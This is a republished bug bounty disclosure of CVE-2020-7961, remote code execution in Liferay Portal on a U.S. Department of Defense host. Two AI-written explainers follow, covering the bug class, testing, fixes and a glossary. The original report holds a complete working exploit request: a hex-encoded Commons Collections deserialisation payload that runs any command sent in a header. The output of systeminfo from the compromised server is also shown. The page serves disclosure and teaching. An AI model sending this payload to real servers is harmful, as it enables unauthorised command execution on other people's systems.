Skip to content
RCE Disclosed report Intermediate CVE-2020-7961

CVE-2020-7961 RCE Liferay Portal Unauthenticated via https://████████/

The Liferay Portal JSON web service endpoint accepted a crafted request that deserialised attacker-controlled data, letting an unauthenticated attacker run operating system commands on the server. The reporter demonstrated this by running a Windows system information command and reading its output in the response.

exploitmsf Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 2 hours
  • Fixed in 5 days
  • Disclosed after 29 days

poc:

POST /api/jsonws/invoke HTTP/1.1
Host: ████████
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Length: 4939
Content-Type: application/x-www-form-urlencoded
Referer: https://██████//api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData
cmd2: systeminfo
Accept-Encoding: gzip

cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=tdmrl&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D

Attacker can read response from system for command systeminfo

Host Name:                █████████
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Server
OS Build Type:             Multiprocessor Free
Registered Owner:        ███████
Registered Organization: ███
Product ID:                00429-70000-00000-AA946
Original Install Date:     8/5/2023, 8:02:29 PM
System Boot Time:          9/25/2024, 11:45:46 AM
System Manufacturer:       Microsoft Corporation
System Model:              Virtual Machine
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2195 Mhz
BIOS Version:              Microsoft Corporation Hyper-V UEFI Release v4.0, 12/17/2019
Windows Directory:         C:\WINDOWS
System Directory:          C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory:     131,071 MB
Available Physical Memory: 123,442 MB
Virtual Memory: Max Size:  146,200 MB
Virtual Memory: Available: 131,089 MB
Virtual Memory: In Use:    15,111 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    ███████
Logon Server:              N/A
Hotfix(s):                 17 Hotfix(s) Installed.
                           [01]: KB5041974
                           [02]: KB4470788
                           [03]: KB4486153
                           [04]: KB4577586
                           [05]: KB5005112
                           [06]: KB5043050
                           [07]: KB5028316
                           [08]: KB5030505
                           [09]: KB5031589
                           [10]: KB5032306
                           [11]: KB5034863
                           [12]: KB5035963
                           [13]: KB5037017
                           [14]: KB5039335
                           [15]: KB5040563
                           [16]: KB5041577
                           [17]: KB5043126
Network Card(s):           2 NIC(s) Installed.
                           [01]: Microsoft Hyper-V Network Adapter
                                 Connection Name: Ethernet 13
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: █████████
                           [02]: Microsoft Hyper-V Network Adapter
                                 Connection Name: Ethernet 14
                                 Status:          Hardware not present
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

█████

Impact

Attacker can execute commands on server

System Host(s)

█████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2020-7961

Steps to Reproduce

I write steps in Description

Suggested Mitigation/Remediation Actions

The original report as published on HackerOne, by exploitmsf. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 5 min read.

What the report shows

The target is a Liferay Portal instance reachable over HTTPS on a U.S. Department of Defence host. The researcher reported remote code execution, mapped to CVE-2020-7961. The report is short: a proof-of-concept request, the output of one command, and a one-line impact statement. It gives no bounty figure and no remediation detail.

The proof of concept is a single POST to the JSON web services endpoint, /api/jsonws/invoke, with a form-encoded body:

The request carries three things worth noting. The cmd parameter names the JSON web service method to invoke, /expandocolumn/add-column. The +defaultData parameter is typed as com.mchange.v2.c3p0.WrapperConnectionPoolDataSource, and its userOverridesAsString value is a HexAsciiSerializedMap blob. The command to run is not in the body at all: it is sent in the cmd2 header, here systeminfo.

The serialised blob is a gadget chain built from Apache Commons Collections classes (TiedMapEntry, LazyMap, ChainedTransformer, ConstantTransformer, InvokerTransformer) ending in a ScriptEngineManager and an InvokerTransformer that calls getEngineByName for JavaScript and then eval on a script. That script reads the cmd2 header, builds a ProcessBuilder, runs cmd.exe /c with the header value on Windows or bash -c elsewhere, and writes the process output back to the HTTP response stream.

The researcher states that the attacker can read the command output from the response, and shows the result of systeminfo:

Text
Host Name:                █████████
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Server
OS Build Type:             Multiprocessor Free
Registered Owner:        ███████
Registered Organization:   ███
Product ID:                00429-70000-00000-AA946
Original Install Date:     8/5/2023, 8:02:29 PM
System Boot Time:          9/25/2024, 11:45:46 AM
System Manufacturer:       Microsoft Corporation
System Model:              Virtual Machine
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2195 Mhz
BIOS Version:              Microsoft Corporation Hyper-V UEFI Release v4.0, 12/17/2019
Windows Directory:         C:\WINDOWS
System Directory:          C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory:     131,071 MB
Available Physical Memory: 123,442 MB
Virtual Memory: Max Size:  146,200 MB
Virtual Memory: Available: 131,089 MB
Virtual Memory: In Use:    15,111 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    ███████
Logon Server:              N/A
Hotfix(s):                 17 Hotfix(s) Installed.
                           [01]: KB5041974
                           [02]: KB4470788
                           [03]: KB4486153
                           [04]: KB4577586
                           [05]: KB5005112
                           [06]: KB5043050
                           [07]: KB5028316
                           [08]: KB5030505
                           [09]: KB5031589
                           [10]: KB5032306
                           [11]: KB5034863
                           [12]: KB5035963
                           [13]: KB5037017
                           [14]: KB5039335
                           [15]: KB5040563
                           [16]: KB5041577
                           [17]: KB5043126
Network Card(s):           2 NIC(s) Installed.
                           [01]: Microsoft Hyper-V Network Adapter
                                 Connection Name: Ethernet 13
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: █████████
                           [02]: Microsoft Hyper-V Network Adapter
                                 Connection Name: Ethernet 14
                                 Status:          Hardware not present
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

The output confirms a Windows Server 2019 host running as a member server in a domain. The report's impact section says only that an attacker can execute commands on the server. The affected product and version fields are empty, the steps to reproduce point back to the description, and no mitigation is suggested.

Root cause

The request suggests that the JSON web services layer accepts a caller-supplied Java class name for a parameter and instantiates it, so an attacker can substitute a class whose deserialisation path is dangerous. Here the chosen class is c3p0's WrapperConnectionPoolDataSource, whose userOverridesAsString property is deserialised from a hex-encoded serialised map. Because Commons Collections is on the classpath, the deserialisation reaches a gadget chain that ends in script evaluation. The body carries a p_auth token, and the report does not describe any other authentication step.

Impact

The demonstrated impact is command execution on the server, with the command output returned in the HTTP response. The report does not describe lateral movement, data access or persistence, and does not state the privileges of that account.

How this kind of bug works

Java deserialisation turns a byte stream into objects, and the class that reads the stream decides which classes to instantiate. When an application accepts serialised data from an untrusted source and the classpath contains libraries with useful side effects, an attacker can chain those classes so that a harmless-looking read triggers a method call of the attacker's choosing. Commons Collections gadget chains are the classic example: transformers compose into a pipeline that runs when a map entry is read. Frameworks that let a request name a class to bind or instantiate widen the attack surface, because the attacker no longer needs a raw serialised body, only a parameter that reaches a dangerous setter.

Defences are layered: never deserialise untrusted input, restrict which classes may be instantiated with a serialisation filter or allowlist, keep libraries such as Commons Collections off the classpath where possible, and require authentication and authorisation on service endpoints that bind parameters to objects.

How to test for it

  1. Identify endpoints that accept structured input and name types: JSON or form APIs with typed parameters, class or type fields, and endpoints that echo back object state.
  2. Look for framework fingerprints in error pages, cookies and static paths that indicate a Java portal or remoting layer.
  3. Send a benign request first and confirm the endpoint is reachable without credentials and that the parameter is actually bound.
  4. Test with a harmless gadget that produces an observable effect, such as a DNS lookup or a short sleep, rather than a destructive command.
  5. If a callback arrives, escalate carefully to a read-only command and capture the output as evidence.

A positive result is a response that reflects the effect of your payload, or an out-of-band interaction you control. Common false positives are error messages that mention a class name without instantiating it, endpoints that reject the request before binding, and callbacks caused by scanners rather than your payload. Confirm with a second, different payload before reporting.

How it is fixed

Upgrade the affected component to a version that blocks the gadget path, apply a JVM-wide deserialisation filter, and remove or restrict the parameter binding that allows arbitrary class names. Require authentication on the service endpoint and disable unused JSON web service methods.

Hunting notes

This class of bug hides in legacy remoting and portal APIs, admin interfaces and integration endpoints that were built for trusted callers. Recon signals include old framework versions in headers and error pages, exposed API documentation, and endpoints that accept a type or class parameter. To get a report accepted, show the smallest request that proves execution, include the command output or callback as evidence, and state the privilege level of the process. Avoid destructive commands and stop at proof.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 8 min read.

What happened, in plain words

A security researcher found a way to run commands on a U.S. Department of Defence web server. The software involved is Liferay Portal, a product organisations use to build websites and internal portals: pages, forms, user accounts and so on. The bug is tracked as CVE-2020-7961, a public identifier given to a specific security flaw so people can look it up.

The report is short. It contains one request, the output of one command, and a single sentence of impact. It gives no bounty amount and no fix advice.

The request

The researcher sent a single HTTP request. An HTTP request is what your browser sends to a website every time you open a page or submit a form: a message asking the server to do something. Here it is:

Line by line:

  1. POST /api/jsonws/invoke HTTP/1.1 is the request line. POST means "here is data for you to process". /api/jsonws/invoke is the address of a Liferay feature that lets programs call server-side functions remotely, called JSON web services. HTTP/1.1 is the version of the web protocol.
  2. Host: ████████ names the server being contacted.
  3. User-Agent says which browser the sender claims to be.
  4. Content-Length: 4939 states the size of the body in bytes, so the server knows where the message ends.
  5. Content-Type: application/x-www-form-urlencoded says the body is formatted like a form submission, the same format a login page uses.
  6. Referer records the page the request supposedly came from. It points at the same JSON web services area and mentions add-column, a hint at the function being called.
  7. cmd2: systeminfo is a custom header. Headers are extra labelled lines carrying metadata. This one carries the command the attacker wants to run: systeminfo, a standard Windows command that prints details about the machine.
  8. The body holds the parameters. cmd names the server function to invoke, /expandocolumn/add-column. p_auth=tdmrl is a short value present in the body. tableId, name, type and formDate are other parameters in the body.
  9. The last parameter is the dangerous one. Its name is +defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource, which tells Liferay to treat the value as an object of that specific Java class. Its value is a long hex-encoded blob labelled HexAsciiSerializedMap. Hex encoding is just a way of writing raw bytes using only the characters 0 to 9 and A to F, so they survive being sent as text.

Why does this matter? The blob is not a normal form value. It is a serialised Java object: a saved copy of a live object, which the server will rebuild when it reads it. The researcher crafted it so that rebuilding it triggers code. Inside are classes from Apache Commons Collections, a widely used helper library, arranged in a chain: TiedMapEntry, LazyMap, ChainedTransformer, ConstantTransformer and InvokerTransformer. Each link does a small, legitimate job, but together they end in a ScriptEngineManager that loads the JavaScript engine and calls eval on a script. That script reads the cmd2 header, starts a process with cmd.exe /c on Windows or bash -c elsewhere, and copies the output back into the HTTP response. This kind of assembled chain is called a gadget chain: ordinary parts of the software, put together in an order the designer never intended.

The result

The researcher says the attacker can read the command output from the response, and shows what systeminfo returned:

Text
Host Name:                █████████
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Server
OS Build Type:             Multiprocessor Free
Registered Owner:        ███████
Registered Organization:   ███
Product ID:                00429-70000-00000-AA946
Original Install Date:     8/5/2023, 8:02:29 PM
System Boot Time:          9/25/2024, 11:45:46 AM
System Manufacturer:       Microsoft Corporation
System Model:              Virtual Machine
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2195 Mhz
BIOS Version:              Microsoft Corporation Hyper-V UEFI Release v4.0, 12/17/2019
Windows Directory:         C:\WINDOWS
System Directory:          C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory:     131,071 MB
Available Physical Memory: 123,442 MB
Virtual Memory: Max Size:  146,200 MB
Virtual Memory: Available: 131,089 MB
Virtual Memory: In Use:    15,111 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    ███████
Logon Server:              N/A
Hotfix(s):                 17 Hotfix(s) Installed.
                           [01]: KB5041974
                           [02]: KB4470788
                           [03]: KB4486153
                           [04]: KB4577586
                           [05]: KB5005112
                           [06]: KB5043050
                           [07]: KB5028316
                           [08]: KB5030505
                           [09]: KB5031589
                           [10]: KB5032306
                           [11]: KB5034863
                           [12]: KB5035963
                           [13]: KB5037017
                           [14]: KB5039335
                           [15]: KB5040563
                           [16]: KB5041577
                           [17]: KB5043126
Network Card(s):           2 NIC(s) Installed.
                           [01]: Microsoft Hyper-V Network Adapter
                                 Connection Name: Ethernet 13
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: █████████
                           [02]: Microsoft Hyper-V Network Adapter
                                 Connection Name: Ethernet 14
                                 Status:          Hardware not present
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

This output is the proof. It shows a Windows Server 2019 machine acting as a member server in a domain, with its patch list and network adapters. The impact section says only that an attacker can execute commands on the server. The affected product and version fields are empty, the steps to reproduce point back to the description, and no mitigation is suggested.

In general, how this kind of bug works

Serialisation turns an object in memory into a stream of bytes so it can be stored or sent; deserialisation turns those bytes back into an object. The comparison is a packed flat-pack wardrobe: the reader follows the instructions and rebuilds the furniture. The danger is that the reader will happily rebuild whatever the instructions describe, including something the sender was never meant to control.

When a program accepts serialised data from an untrusted source and its libraries contain classes with useful side effects, an attacker can chain those classes so that a harmless-looking read triggers a method call of the attacker's choosing. Frameworks that let a request name a class to create widen the problem, because the attacker no longer needs to send raw serialised bytes: a single parameter that reaches a dangerous setter is enough.

Defences are layered: never deserialise untrusted input, restrict which classes may be created with a serialisation filter or allowlist, keep libraries such as Commons Collections off the classpath where possible, and require authentication and authorisation on service endpoints that bind parameters to objects.

How to test for it

  1. Identify endpoints that accept structured input and name types: JSON or form APIs with typed parameters, class or type fields, and endpoints that echo back object state.
  2. Look for framework fingerprints in error pages, cookies and static paths that indicate a Java portal or remoting layer.
  3. Send a benign request first and confirm the endpoint is reachable without credentials and that the parameter is actually bound.
  4. Test with a harmless gadget that produces an observable effect, such as a DNS lookup or a short sleep, rather than a destructive command.
  5. If a callback arrives, escalate carefully to a read-only command and capture the output as evidence.

A positive result is a response that reflects the effect of your payload, or an out-of-band interaction you control. Common false positives are error messages that mention a class name without creating it, endpoints that reject the request before binding, and callbacks caused by scanners rather than your payload. Confirm with a second, different payload before reporting.

How it is fixed

Upgrade the affected component to a version that blocks the gadget path, apply a JVM-wide deserialisation filter, and remove or restrict the parameter binding that allows arbitrary class names. Require authentication on the service endpoint and disable unused JSON web service methods.

Hunting notes

This class of bug hides in legacy remoting and portal APIs, admin interfaces and integration endpoints that were built for trusted callers. Recon signals include old framework versions in headers and error pages, exposed API documentation, and endpoints that accept a type or class parameter. To get a report accepted, show the smallest request that proves execution, include the command output or callback as evidence, and state the privilege level of the process. Avoid destructive commands and stop at proof.

Glossary

  • HTTP request: a message a browser or tool sends to a server asking it to do something, made of a request line, headers and an optional body.
  • Header: an extra labelled line in a request or response carrying metadata, such as the browser type or a custom value.
  • POST: an HTTP method used to send data to the server for processing.
  • Content-Type: a header stating the format of the body, for example form data.
  • Referer: a header recording the page the request supposedly came from.
  • Token: a short value a site uses to tie a request to a session or to authorise it.
  • Liferay Portal: software for building websites and internal portals with pages, forms and user accounts.
  • JSON web services: a Liferay feature that lets programs call server-side functions remotely.
  • CVE: a public identifier for a specific security flaw, so people can look it up.
  • Remote code execution (RCE): running commands of your choosing on someone else's server.
  • Unauthenticated: done without logging in.
  • Serialisation: turning an object in memory into bytes so it can be stored or sent.
  • Deserialisation: turning those bytes back into an object.
  • Hex encoding: writing raw bytes using only the characters 0 to 9 and A to F so they survive as text.
  • Gadget chain: ordinary classes in a library, assembled so that a harmless action triggers a harmful one.
  • Apache Commons Collections: a widely used Java helper library whose classes appear in this chain.
  • Classpath: the set of libraries a Java program can load classes from.
  • Script engine: a component that runs a scripting language such as JavaScript inside a Java program.
  • ProcessBuilder: a Java class that starts operating system programs.
  • systeminfo: a standard Windows command that prints details about the machine.
  • Allowlist: a list of things explicitly permitted, with everything else refused.
  • False positive: a test result that looks like a finding but is not one.

More by exploitmsf

View all

3 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.